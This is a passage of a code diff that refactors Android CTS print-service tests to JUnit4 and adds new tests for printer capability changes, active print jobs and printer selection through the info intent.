     }
 
     /**
      * Test that the progress and status is propagated correctly.
      *
-     * @throws Exception If anything is unexpected.
+     * @throws Throwable If anything is unexpected.
      */
-    public void testProgress()
-            throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
+    @Test
+    public void progress() throws Throwable {
         // Create the session callbacks that we will be checking.
         PrinterDiscoverySessionCallbacks sessionCallbacks
-                = createFirstMockPrinterDiscoverySessionCallbacks();
+                = createMockPrinterDiscoverySessionCallbacks(PRINTER_NAME, null);
 
         // Create the service callbacks for the first print service.
-        PrintServiceCallbacks serviceCallbacks = createFirstMockPrinterServiceCallbacks(
+        PrintServiceCallbacks serviceCallbacks = createMockPrinterServiceCallbacks(
                 sessionCallbacks);
 
         // Configure the print services.
@@ -394,7 +281,7 @@
         SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
 
         // Create a print adapter that respects the print contract.
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter();
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
         print(adapter);
@@ -411,7 +298,7 @@
         // Answer the dialog for the print service cloud warning
         answerPrintServicesWarning(true);
 
-        // Wait until the print job is queued and #mPrintJob is set
+        // Wait until the print job is queued and #sPrintJob is set
         waitForServiceOnPrintJobQueuedCallbackCalled(1);
 
         // Progress print job and check for appropriate notifications
@@ -420,16 +307,7 @@
         progress(1, "printed 100");
 
         // Call complete from the main thread
-        Handler handler = new Handler(Looper.getMainLooper());
-
-        Runnable completer = new Runnable() {
-            @Override
-            public void run() {
-                mPrintJob.complete();
-            }
-        };
-
-        handler.post(completer);
+        runOnMainThread(sPrintJob::complete);
 
         // Wait for all print jobs to be handled after which the session destroyed.
         waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
@@ -439,6 +317,7 @@
      * Render a {@link Drawable} into a {@link Bitmap}.
      *
      * @param d the drawable to be rendered
+     *
      * @return the rendered bitmap
      */
     private static Bitmap renderDrawable(Drawable d) {
@@ -455,34 +334,22 @@
     /**
      * Update the printer
      *
+     * @param sessionCallbacks The callbacks for the service the printer belongs to
      * @param printer the new printer to use
+     *
      * @throws InterruptedException If we were interrupted while the printer was updated.
+     * @throws Throwable            If anything is unexpected.
      */
-    private void updatePrinter(final PrinterInfo printer)
-            throws InterruptedException {
-        final PrintServicesTest synchronizer = PrintServicesTest.this;
-
-        synchronized (synchronizer) {
-            Runnable updated = new Runnable() {
-                @Override
-                public void run() {
-                    synchronized (synchronizer) {
-                        ArrayList<PrinterInfo> printers = new ArrayList<>(1);
-                        printers.add(printer);
-                        mDiscoverySession.addPrinters(printers);
-
-                        synchronizer.notifyAll();
-                    }
-                }
-            };
-
-            (new Handler(Looper.getMainLooper())).post(updated);
-
-            synchronizer.wait();
-        }
+    private void updatePrinter(PrinterDiscoverySessionCallbacks sessionCallbacks,
+            final PrinterInfo printer) throws Throwable {
+        runOnMainThread(() -> {
+            ArrayList<PrinterInfo> printers = new ArrayList<>(1);
+            printers.add(printer);
+            sessionCallbacks.getSession().addPrinters(printers);
+        });
 
         // Update local copy of printer
-        mPrinter = printer;
+        sPrinter = printer;
     }
 
     /**
@@ -490,46 +357,27 @@
      * we try up to 5 seconds.
      *
      * @param bitmap The bitmap to match
+     *
+     * @throws Throwable If anything is unexpected.
      */
-    private void assertThatIconIs(Bitmap bitmap) {
-        final long TIMEOUT = 5000;
-
-        final long startMillis = SystemClock.uptimeMillis();
-        while (true) {
-            try {
-                if (bitmap.sameAs(renderDrawable(mPrinter.loadIcon(getActivity())))) {
-                    return;
-                }
-                final long elapsedMillis = SystemClock.uptimeMillis() - startMillis;
-                final long waitMillis = TIMEOUT - elapsedMillis;
-                if (waitMillis <= 0) {
-                    throw new AssertionFailedError("Icon does not match bitmap");
-                }
-
-                // We do not get notified about the icon update, hence wait and try again.
-                Thread.sleep(1000);
-            } catch (InterruptedException ie) {
-               /* ignore */
-            }
-        }
+    private void assertThatIconIs(Bitmap bitmap) throws Throwable {
+        eventually(
+                () -> assertTrue(bitmap.sameAs(renderDrawable(sPrinter.loadIcon(getActivity())))));
     }
 
     /**
      * Test that the icon get be updated.
      *
-     * @throws Exception If anything is unexpected.
+     * @throws Throwable If anything is unexpected.
      */
-    public void testUpdateIcon()
-            throws Exception {
-        if (!supportsPrinting()) {
-            return;
-        }
+    @Test
+    public void updateIcon() throws Throwable {
         // Create the session callbacks that we will be checking.
         final PrinterDiscoverySessionCallbacks sessionCallbacks
-                = createFirstMockPrinterDiscoverySessionCallbacks();
+                = createMockPrinterDiscoverySessionCallbacks(PRINTER_NAME, null);
 
         // Create the service callbacks for the first print service.
-        PrintServiceCallbacks serviceCallbacks = createFirstMockPrinterServiceCallbacks(
+        PrintServiceCallbacks serviceCallbacks = createMockPrinterServiceCallbacks(
                 sessionCallbacks);
 
         // Configure the print services.
@@ -539,7 +387,7 @@
         SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
 
         // Create a print adapter that respects the print contract.
-        PrintDocumentAdapter adapter = createMockPrintDocumentAdapter();
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
 
         // Start printing.
         print(adapter);
@@ -560,18 +408,224 @@
         assertThatIconIs(renderDrawable(printServiceIcon));
 
         // Update icon to resource
-        updatePrinter((new PrinterInfo.Builder(mPrinter)).setIconResourceId(R.drawable.red_printer)
+        updatePrinter(sessionCallbacks,
+                (new PrinterInfo.Builder(sPrinter)).setIconResourceId(R.drawable.red_printer)
                 .build());
 
         assertThatIconIs(renderDrawable(getActivity().getDrawable(R.drawable.red_printer)));
 
         // Update icon to bitmap
         Bitmap bm = BitmapFactory.decodeResource(getActivity().getResources(),
-                R.raw.yellow_printer);
+                R.raw.yellow);
         // Icon will be picked up from the discovery session once setHasCustomPrinterIcon is set
         mIcon = Icon.createWithBitmap(bm);
-        updatePrinter((new PrinterInfo.Builder(mPrinter)).setHasCustomPrinterIcon(true).build());
+        updatePrinter(sessionCallbacks,
+                (new PrinterInfo.Builder(sPrinter)).setHasCustomPrinterIcon(true).build());
 
         assertThatIconIs(renderDrawable(mIcon.loadDrawable(getActivity())));
+
+        getUiDevice().pressBack();
+        getUiDevice().pressBack();
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    /**
+     * Test that we cannot call attachBaseContext
+     *
+     * @throws Throwable If anything is unexpected.
+     */
+    @Test
+    public void cannotUseAttachBaseContext() throws Throwable {
+        // Create the session callbacks that we will be checking.
+        final PrinterDiscoverySessionCallbacks sessionCallbacks
+                = createMockPrinterDiscoverySessionCallbacks(PRINTER_NAME, null);
+
+        // Create the service callbacks for the first print service.
+        PrintServiceCallbacks serviceCallbacks = createMockPrinterServiceCallbacks(
+                sessionCallbacks);
+
+        // Configure the print services.
+        FirstPrintService.setCallbacks(serviceCallbacks);
+
+        // Create a print adapter that respects the print contract.
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+        // We don't use the second service, but we have to still configure it
+        SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
+
+        // Start printing to set serviceCallbacks.getService()
+        print(adapter);
+        eventually(() -> assertNotNull(serviceCallbacks.getService()));
+
+        // attachBaseContext should always throw an exception no matter what input value
+        assertException(() -> serviceCallbacks.getService().callAttachBaseContext(null),
+                IllegalStateException.class);
+        assertException(() -> serviceCallbacks.getService().callAttachBaseContext(getActivity()),
+                IllegalStateException.class);
+
+        getUiDevice().pressBack();
+        getUiDevice().pressBack();
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    /**
+     * Test that the active print jobs can be read
+     *
+     * @throws Throwable If anything is unexpected.
+     */
+    @Test
+    public void getActivePrintJobs() throws Throwable {
+        clearPrintSpoolerData();
+
+        try {
+            PrintManager pm = (PrintManager) getActivity().getSystemService(Context.PRINT_SERVICE);
+
+            // Configure first print service
+            PrinterDiscoverySessionCallbacks sessionCallbacks1
+                    = createMockPrinterDiscoverySessionCallbacks("Printer1", null);
+            PrintServiceCallbacks serviceCallbacks1 = createMockPrinterServiceCallbacks(
+                    sessionCallbacks1);
+            FirstPrintService.setCallbacks(serviceCallbacks1);
+
+            // Configure second print service
+            PrinterDiscoverySessionCallbacks sessionCallbacks2
+                    = createMockPrinterDiscoverySessionCallbacks("Printer2", null);
+            PrintServiceCallbacks serviceCallbacks2 = createMockPrinterServiceCallbacks(
+                    sessionCallbacks2);
+            SecondPrintService.setCallbacks(serviceCallbacks2);
+
+            // Create a print adapter that respects the print contract.
+            PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+            runOnMainThread(() -> pm.print("job1", adapter, null));
+
+            // Init services
+            waitForPrinterDiscoverySessionCreateCallbackCalled();
+            StubbablePrintService firstService = serviceCallbacks1.getService();
+
+            waitForWriteAdapterCallback(1);
+            selectPrinter("Printer1");
+
+            // Job is not yet confirmed, hence it is not yet "active"
+            runOnMainThread(() -> assertEquals(0, firstService.callGetActivePrintJobs().size()));
+
+            clickPrintButton();
+            answerPrintServicesWarning(true);
+            onPrintJobQueuedCalled();
+
+            eventually(() -> runOnMainThread(
+                    () -> assertEquals(1, firstService.callGetActivePrintJobs().size())));
+
+            // Add another print job to first service
+            resetCounters();
+            runOnMainThread(() -> pm.print("job2", adapter, null));
+            waitForWriteAdapterCallback(1);
+            clickPrintButton();
+            onPrintJobQueuedCalled();
+
+            eventually(() -> runOnMainThread(
+                    () -> assertEquals(2, firstService.callGetActivePrintJobs().size())));
+
+            // Create print job in second service
+            resetCounters();
+            runOnMainThread(() -> pm.print("job3", adapter, null));
+
+            waitForPrinterDiscoverySessionCreateCallbackCalled();
+
+            StubbablePrintService secondService = serviceCallbacks2.getService();
+            runOnMainThread(() -> assertEquals(0, secondService.callGetActivePrintJobs().size()));
+
+            waitForWriteAdapterCallback(1);
+            selectPrinter("Printer2");
+            clickPrintButton();
+            answerPrintServicesWarning(true);
+            onPrintJobQueuedCalled();
+
+            eventually(() -> runOnMainThread(
+                    () -> assertEquals(1, secondService.callGetActivePrintJobs().size())));
+            runOnMainThread(() -> assertEquals(2, firstService.callGetActivePrintJobs().size()));
+
+            // Block last print job. Blocked jobs are still considered active
+            runOnMainThread(() -> sPrintJob.block(null));
+            eventually(() -> runOnMainThread(() -> assertTrue(sPrintJob.isBlocked())));
+            runOnMainThread(() -> assertEquals(1, secondService.callGetActivePrintJobs().size()));
+
+            // Fail last print job. Failed job are not active
+            runOnMainThread(() -> sPrintJob.fail(null));
+            eventually(() -> runOnMainThread(() -> assertTrue(sPrintJob.isFailed())));
+            runOnMainThread(() -> assertEquals(0, secondService.callGetActivePrintJobs().size()));
+
+            // Cancel job. Canceled jobs are not active
+            runOnMainThread(() -> assertEquals(2, firstService.callGetActivePrintJobs().size()));
+            android.print.PrintJob job2 = getPrintJob(pm, "job2");
+            runOnMainThread(job2::cancel);
+            eventually(() -> runOnMainThread(() -> assertTrue(job2.isCancelled())));
+            runOnMainThread(() -> assertEquals(1, firstService.callGetActivePrintJobs().size()));
+
+            waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+        } finally {
+            clearPrintSpoolerData();
+        }
+    }
+
+    /**
+     * Test that the icon get be updated.
+     *
+     * @throws Throwable If anything is unexpected.
+     */
+    @Test
+    public void selectViaInfoIntent() throws Throwable {
+        ArrayList<String> trackedPrinters = new ArrayList<>();
+
+        // Create the session callbacks that we will be checking.
+        final PrinterDiscoverySessionCallbacks sessionCallbacks
+                = createMockPrinterDiscoverySessionCallbacks(PRINTER_NAME, trackedPrinters);
+
+        // Create the service callbacks for the first print service.
+        PrintServiceCallbacks serviceCallbacks = createMockPrinterServiceCallbacks(
+                sessionCallbacks);
+
+        // Configure the print services.
+        FirstPrintService.setCallbacks(serviceCallbacks);
+
+        // We don't use the second service, but we have to still configure it
+        SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
+
+        // Create a print adapter that respects the print contract.
+        PrintDocumentAdapter adapter = createDefaultPrintDocumentAdapter(1);
+
+        // Start printing.
+        print(adapter);
+
+        // Enter select printer activity
+        selectPrinter("All printers…");
+
+        assertFalse(trackedPrinters.contains(PRINTER_NAME));
+
+        InfoActivity.addObserver(activity -> {
+            Intent intent = activity.getIntent();
+
+            assertEquals(PRINTER_NAME, intent.getStringExtra("PRINTER_NAME"));
+            assertTrue(intent.getBooleanExtra(PrintService.EXTRA_CAN_SELECT_PRINTER,
+                            false));
+
+            activity.setResult(Activity.RESULT_OK,
+                    (new Intent()).putExtra(PrintService.EXTRA_SELECT_PRINTER, true));
+            activity.finish();
+        });
+
+        // Open info activity which executed the code above
+        UiObject moreInfoButton = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/more_info"));
+        moreInfoButton.click();
+
+        // Wait until printer is selected and thereby tracked
+        eventually(() -> assertTrue(trackedPrinters.contains(PRINTER_NAME)));
+
+        InfoActivity.clearObservers();
+
+        getUiDevice().pressBack();
+        getUiDevice().pressBack();
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
     }
 }
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
new file mode 100644
index 0000000..9b277e9
--- /dev/null
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesChangeTest.java
@@ -0,0 +1,320 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.print.cts;
+
+import android.os.ParcelFileDescriptor;
+import android.print.PageRange;
+import android.print.PrintAttributes;
+import android.print.PrintAttributes.Margins;
+import android.print.PrintAttributes.MediaSize;
+import android.print.PrintAttributes.Resolution;
+import android.print.PrintDocumentAdapter;
+import android.print.PrintDocumentAdapter.LayoutResultCallback;
+import android.print.PrintDocumentAdapter.WriteResultCallback;
+import android.print.PrintDocumentInfo;
+import android.print.PrinterCapabilitiesInfo;
+import android.print.PrinterId;
+import android.print.PrinterInfo;
+import android.print.cts.services.FirstPrintService;
+import android.print.cts.services.PrintServiceCallbacks;
+import android.print.cts.services.PrinterDiscoverySessionCallbacks;
+import android.print.cts.services.SecondPrintService;
+import android.print.cts.services.StubbablePrinterDiscoverySession;
+import android.support.test.uiautomator.UiObject;
+import android.support.test.uiautomator.UiSelector;
+import android.util.Log;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.List;
+import java.util.concurrent.TimeoutException;
+
+import static android.print.cts.Utils.runOnMainThread;
+
+/**
+ * This test verifies changes to the printer capabilities are applied correctly.
+ */
+@RunWith(Parameterized.class)
+public class PrinterCapabilitiesChangeTest extends BasePrintTest {
+    private static final String LOG_TAG = "PrinterCapChangeTest";
+    private static final String PRINTER_NAME = "Test printer";
+
+    private static final Margins DEFAULT_MARGINS = new Margins(0, 0, 0, 0);
+    private static final Resolution RESOLUTION_300 =
+            new Resolution("300", "300", 300, 300);
+
+    private boolean mAvailBefore;
+    private MediaSize mMsBefore;
+    private boolean mAvailAfter;
+    private MediaSize mMsAfter;
+
+    private final StubbablePrinterDiscoverySession[] mSession = new StubbablePrinterDiscoverySession[1];
+    private final PrinterId[] mPrinterId = new PrinterId[1];
+    private final PrintAttributes[] mLayoutAttributes = new PrintAttributes[1];
+    private final PrintAttributes[] mWriteAttributes = new PrintAttributes[1];
+    private PrintDocumentAdapter mAdapter;
+    private static boolean sHasDefaultPrinterBeenSet;
+
+    /**
+     * Generate a new list of printers containing a singer printer with the given media size and
+     * status. The other capabilities are default values.
+     *
+     * @param printerId The id of the printer
+     * @param mediaSize The media size to use
+     * @param status    The status of th printer
+     *
+     * @return The list of printers
+     */
+    private List<PrinterInfo> generatePrinters(PrinterId printerId, MediaSize mediaSize,
+            int status) {
+        List<PrinterInfo> printers = new ArrayList<>(1);
+
+        PrinterCapabilitiesInfo cap;
+
+        if (mediaSize != null) {
+            PrinterCapabilitiesInfo.Builder builder = new PrinterCapabilitiesInfo.Builder(
+                    printerId);
+            builder.setMinMargins(DEFAULT_MARGINS)
+                    .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
+                            PrintAttributes.COLOR_MODE_COLOR)
+                    .setDuplexModes(PrintAttributes.DUPLEX_MODE_NONE,
+                            PrintAttributes.DUPLEX_MODE_NONE)
+                    .addMediaSize(mediaSize, true)
+                    .addResolution(RESOLUTION_300, true);
+            cap = builder.build();
+        } else {
+            cap = null;
+        }
+
+        printers.add(new PrinterInfo.Builder(printerId, PRINTER_NAME, status).setCapabilities(cap)
+                .build());
+
+        return printers;
+    }
+
+    /**
+     * Wait until the print activity requested an update with print attributes matching the media
+     * size.
+     *
+     * @param printAttributes The print attributes container
+     * @param mediaSize       The media size to match
+     *
+     * @throws Exception If anything unexpected happened, e.g. the attributes did not change.
+     */
+    private void waitForMediaSizeChange(PrintAttributes[] printAttributes, MediaSize mediaSize)
+            throws Exception {
+        synchronized (PrinterCapabilitiesChangeTest.this) {
+            long endTime = System.currentTimeMillis() + OPERATION_TIMEOUT_MILLIS;
+            while (printAttributes[0] == null ||
+                    !printAttributes[0].getMediaSize().equals(mediaSize)) {
+                wait(Math.max(0, endTime - System.currentTimeMillis()));
+
+                if (endTime < System.currentTimeMillis()) {
+                    throw new TimeoutException(
+                            "Print attributes did not change to " + mediaSize + " in " +
+                                    OPERATION_TIMEOUT_MILLIS + " ms. Current attributes"
+                                    + printAttributes[0]);
+                }
+            }
+        }
+    }
+
+    /**
+     * Change the media size of the capabilities of the printer
+     *
+     * @param session     The mSession used in the test
+     * @param printerId   The printer to change
+     * @param mediaSize   The new mediaSize to apply
+     * @param isAvailable If the printer should be available or not
+     */
+    private void changeCapabilities(final StubbablePrinterDiscoverySession session,
+            final PrinterId printerId, final MediaSize mediaSize, final boolean isAvailable)
+            throws Throwable {
+        runOnMainThread(
+                () -> session.addPrinters(generatePrinters(printerId, mediaSize, isAvailable ?
+                        PrinterInfo.STATUS_IDLE :
+                        PrinterInfo.STATUS_UNAVAILABLE)));
+    }
+
+    /**
+     * Wait until the message is shown that indicates that a printer is unavilable.
+     *
+     * @throws Exception If anything was unexpected.
+     */
+    private void waitForPrinterUnavailable() throws Exception {
+        final String PRINTER_UNAVAILABLE_MSG =
+                getPrintSpoolerString("print_error_printer_unavailable");
+
+        UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
+                "com.android.printspooler:id/message"));
+        if (!message.getText().equals(PRINTER_UNAVAILABLE_MSG)) {
+            throw new Exception("Wrong message: " + message.getText() + " instead of " +
+                    PRINTER_UNAVAILABLE_MSG);
+        }
+    }
+
+    @Before
+    public void setUpPrinting() throws Exception {
+        // Create the mSession[0] callbacks that we will be checking.
+        final PrinterDiscoverySessionCallbacks firstSessionCallbacks =
+                createMockPrinterDiscoverySessionCallbacks(invocation -> {
+                    mSession[0] = ((PrinterDiscoverySessionCallbacks) invocation.getMock())
+                            .getSession();
+
+                    mPrinterId[0] = mSession[0].getService().generatePrinterId(PRINTER_NAME);
+
+                    mSession[0].addPrinters(generatePrinters(mPrinterId[0], MediaSize.NA_LETTER,
+                            PrinterInfo.STATUS_IDLE));
+                    return null;
+                }, null, null, null, null, null, invocation -> {
+                    onPrinterDiscoverySessionDestroyCalled();
+                    return null;
+                });
+
+        // Create the service callbacks for the first print service.
+        PrintServiceCallbacks firstServiceCallbacks = createMockPrintServiceCallbacks(
+                invocation -> firstSessionCallbacks, null, null);
+
+        // Configure the print services.
+        FirstPrintService.setCallbacks(firstServiceCallbacks);
+        SecondPrintService.setCallbacks(createMockPrintServiceCallbacks(null, null, null));
+
+        mAdapter = createMockPrintDocumentAdapter(
+                invocation -> {
+                    LayoutResultCallback callback = (LayoutResultCallback) invocation
+                            .getArguments()[3];
+                    PrintDocumentInfo info = new PrintDocumentInfo.Builder(PRINT_JOB_NAME)
+                            .setContentType(PrintDocumentInfo.CONTENT_TYPE_DOCUMENT)
+                            .setPageCount(1)
+                            .build();
+
+                    synchronized (PrinterCapabilitiesChangeTest.this) {
+                        mLayoutAttributes[0] = (PrintAttributes) invocation.getArguments()[1];
+
+                        PrinterCapabilitiesChangeTest.this.notify();
+                    }
+
+                    callback.onLayoutFinished(info, true);
+                    return null;
+                }, invocation -> {
+                    Object[] args = invocation.getArguments();
+                    PageRange[] pages = (PageRange[]) args[0];
+                    ParcelFileDescriptor fd = (ParcelFileDescriptor) args[1];
+                    WriteResultCallback callback = (WriteResultCallback) args[3];
+
+                    writeBlankPages(mLayoutAttributes[0], fd, pages[0].getStart(),
+                            pages[0].getEnd());
+                    fd.close();
+
+                    synchronized (PrinterCapabilitiesChangeTest.this) {
+                        mWriteAttributes[0] = mLayoutAttributes[0];
+
+                        PrinterCapabilitiesChangeTest.this.notify();
+                    }
+
+                    callback.onWriteFinished(pages);
+
+                    onWriteCalled();
+                    return null;
+                }, null);
+
+        if (!sHasDefaultPrinterBeenSet) {
+            makeDefaultPrinter(mAdapter, PRINTER_NAME);
+            sHasDefaultPrinterBeenSet = true;
+        }
+
+        resetCounters();
+    }
+
+    @Test
+    public void changeCapabilities() throws Throwable {
+        Log.i(LOG_TAG, "Test case: " + mAvailBefore + ", " + mMsBefore + " -> " + mAvailAfter + ", "
+                + mMsAfter);
+
+        // Start printing.
+        print(mAdapter);
+
+        waitForWriteAdapterCallback(1);
+
+        changeCapabilities(mSession[0], mPrinterId[0], mMsBefore, mAvailBefore);
+        if (mAvailBefore && mMsBefore != null) {
+            waitForMediaSizeChange(mLayoutAttributes, mMsBefore);
+            waitForMediaSizeChange(mWriteAttributes, mMsBefore);
+        } else {
+            waitForPrinterUnavailable();
+        }
+
+        changeCapabilities(mSession[0], mPrinterId[0], mMsAfter, mAvailAfter);
+        if (mAvailAfter && mMsAfter != null) {
+            waitForMediaSizeChange(mLayoutAttributes, mMsAfter);
+            waitForMediaSizeChange(mWriteAttributes, mMsAfter);
+        } else {
+            waitForPrinterUnavailable();
+        }
+
+        // Reset printer to default in case discovery mSession is reused
+        changeCapabilities(mSession[0], mPrinterId[0], MediaSize.NA_LETTER, true);
+        waitForMediaSizeChange(mLayoutAttributes, MediaSize.NA_LETTER);
+        waitForMediaSizeChange(mWriteAttributes, MediaSize.NA_LETTER);
+
+        getUiDevice().pressBack();
+
+        waitForPrinterDiscoverySessionDestroyCallbackCalled(1);
+    }
+
+    @Parameterized.Parameters
+    public static Collection<Object[]> getParameters() {
+        ArrayList<Object[]> parameters = new ArrayList<>();
+
+        parameters.add(new Object[]{false, null, false, null});
+        parameters.add(new Object[]{false, null, false, MediaSize.ISO_A0});
+        parameters.add(new Object[]{false, null, false, MediaSize.ISO_B0});
+        parameters.add(new Object[]{false, null, true, null});
+        parameters.add(new Object[]{false, null, true, MediaSize.ISO_A0});
+        parameters.add(new Object[]{false, null, true, MediaSize.ISO_B0});
+        parameters.add(new Object[]{false, MediaSize.ISO_A0, false, null});
+        parameters.add(new Object[]{false, MediaSize.ISO_A0, false, MediaSize.ISO_A0});
+        parameters.add(new Object[]{false, MediaSize.ISO_A0, false, MediaSize.ISO_B0});
+        parameters.add(new Object[]{false, MediaSize.ISO_A0, true, null});
+        parameters.add(new Object[]{false, MediaSize.ISO_A0, true, MediaSize.ISO_A0});
+        parameters.add(new Object[]{false, MediaSize.ISO_A0, true, MediaSize.ISO_B0});
+        parameters.add(new Object[]{true, null, false, null});
+        parameters.add(new Object[]{true, null, false, MediaSize.ISO_B0});
+        parameters.add(new Object[]{true, null, true, null});
+        parameters.add(new Object[]{true, null, true, MediaSize.ISO_B0});
+        parameters.add(new Object[]{true, MediaSize.ISO_A0, false, null});
+        parameters.add(new Object[]{true, MediaSize.ISO_A0, false, MediaSize.ISO_A0});
+        parameters.add(new Object[]{true, MediaSize.ISO_A0, false, MediaSize.ISO_B0});
+        parameters.add(new Object[]{true, MediaSize.ISO_A0, true, null});
+        parameters.add(new Object[]{true, MediaSize.ISO_A0, true, MediaSize.ISO_A0});
+        parameters.add(new Object[]{true, MediaSize.ISO_A0, true, MediaSize.ISO_B0});
+
+        return parameters;
+    }
+
+    public PrinterCapabilitiesChangeTest(boolean availBefore, MediaSize msBefore,
+            boolean availAfter, MediaSize msAfter) {
+        mAvailBefore = availBefore;
+        mMsBefore = msBefore;
+        mAvailAfter = availAfter;
+        mMsAfter = msAfter;
+    }
+}
diff --git a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
index 8e3f984..3ea03af 100644
--- a/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
+++ b/tests/tests/print/src/android/print/cts/PrinterCapabilitiesTest.java
@@ -34,23 +34,22 @@
 import android.print.cts.services.PrinterDiscoverySessionCallbacks;
 import android.print.cts.services.SecondPrintService;
 import android.print.cts.services.StubbablePrinterDiscoverySession;
-import android.util.Log;
-import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiSelector;
-import org.mockito.invocation.InvocationOnMock;
-import org.mockito.stubbing.Answer;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
-import java.util.List;
-import java.util.concurrent.TimeoutException;
 import java.util.function.Consumer;
 import java.util.function.Function;
 
+import static android.print.cts.Utils.assertException;
+import static org.junit.Assert.*;
+
 /**
  * This test verifies changes to the printer capabilities are applied correctly.
  */
+@RunWith(AndroidJUnit4.class)
 public class PrinterCapabilitiesTest extends BasePrintTest {
-    private static final String LOG_TAG = "PrinterCapabilitiesTest";
     private static final String PRINTER_NAME = "Test printer";
 
     private static final Margins DEFAULT_MARGINS = new Margins(0, 0, 0, 0);
@@ -58,413 +57,104 @@
             new PrintAttributes.Resolution("300", "300", 300, 300);
     private static final PrintAttributes.Resolution RESOLUTION_600 =
             new PrintAttributes.Resolution("600", "600", 600, 600);
-
-    /**
-     * Generate a new list of printers containing a singer printer with the given media size and
-     * status. The other capabilities are default values.
-     *
-     * @param printerId The id of the printer
-     * @param mediaSize The media size to use
-     * @param status    The status of th printer
-     *
-     * @return The list of printers
-     */
-    private List<PrinterInfo> generatePrinters(PrinterId printerId, MediaSize mediaSize,
-            int status) {
-        List<PrinterInfo> printers = new ArrayList<>(1);
-
-        PrinterCapabilitiesInfo cap;
-
-        if (mediaSize != null) {
-            PrinterCapabilitiesInfo.Builder builder = new PrinterCapabilitiesInfo.Builder(
-                    printerId);
-            builder.setMinMargins(DEFAULT_MARGINS)
-                    .setColorModes(PrintAttributes.COLOR_MODE_COLOR,
-                            PrintAttributes.COLOR_MODE_COLOR)
-                    .setDuplexModes(PrintAttributes.DUPLEX_MODE_NONE,
-                            PrintAttributes.DUPLEX_MODE_NONE)
-                    .addMediaSize(mediaSize, true)
-                    .addResolution(RESOLUTION_300, true);
-            cap = builder.build();
-        } else {
-            cap = null;
-        }
-
-        printers.add(new PrinterInfo.Builder(printerId, PRINTER_NAME, status).setCapabilities(cap)
-                .build());
-
-        return printers;
-    }
-
-    /**
-     * Wait until the print activity requested an update with print attributes matching the media
-     * size.
-     *
-     * @param printAttributes The print attributes container
-     * @param mediaSize       The media size to match
-     *
-     * @throws Exception If anything unexpected happened, e.g. the attributes did not change.
-     */
-    private void waitForMediaSizeChange(PrintAttributes[] printAttributes, MediaSize mediaSize)
-            throws Exception {
-        synchronized (PrinterCapabilitiesTest.this) {
-            long endTime = System.currentTimeMillis() + OPERATION_TIMEOUT_MILLIS;
-            while (printAttributes[0] == null ||
-                    !printAttributes[0].getMediaSize().equals(mediaSize)) {
-                wait(Math.max(0, endTime - System.currentTimeMillis()));
-
-                if (endTime < System.currentTimeMillis()) {
-                    throw new TimeoutException(
-                            "Print attributes did not change to " + mediaSize + " in " +
-                                    OPERATION_TIMEOUT_MILLIS + " ms. Current attributes"
-                                    + printAttributes[0]);
-                }
-            }
-        }
-    }
-
-    /**
-     * Change the media size of the capabilities of the printer
-     *
-     * @param session     The session used in the test
-     * @param printerId   The printer to change
-     * @param mediaSize   The new mediaSize to apply
-     * @param isAvailable If the printer should be available or not
-     */
-    private void changeCapabilities(final StubbablePrinterDiscoverySession session,
-            final PrinterId printerId, final MediaSize mediaSize, final boolean isAvailable) {
-        getInstrumentation().runOnMainSync(new Runnable() {
-            @Override
-            public void run() {
-                session.addPrinters(generatePrinters(printerId, mediaSize, isAvailable ?
-                        PrinterInfo.STATUS_IDLE :
-                        PrinterInfo.STATUS_UNAVAILABLE));
-            }
-        });
-    }
-
-    /**
-     * Wait until the message is shown that indicates that a printer is unavilable.
-     *
-     * @throws Exception If anything was unexpected.
-     */
-    private void waitForPrinterUnavailable() throws Exception {
-        final String PRINTER_UNAVAILABLE_MSG = "This printer isn't available right now.";
-
-        UiObject message = getUiDevice().findObject(new UiSelector().resourceId(
-                "com.android.printspooler:id/message"));
-        if (!message.getText().equals(PRINTER_UNAVAILABLE_MSG)) {
-            throw new Exception("Wrong message: " + message.getText() + " instead of " +
-                    PRINTER_UNAVAILABLE_MSG);
-        }
-    }
-
-    /**
-     * A single test case from {@link #testPrinterCapabilityChange}. Tests a single capability
-     * change.
-     *
-     * @param session     The session used in  the test
-     * @param printerId   The ID of the test printer
-     * @param availBefore If the printer should be available before the change
-     * @param msBefore    The media size of the printer before the change
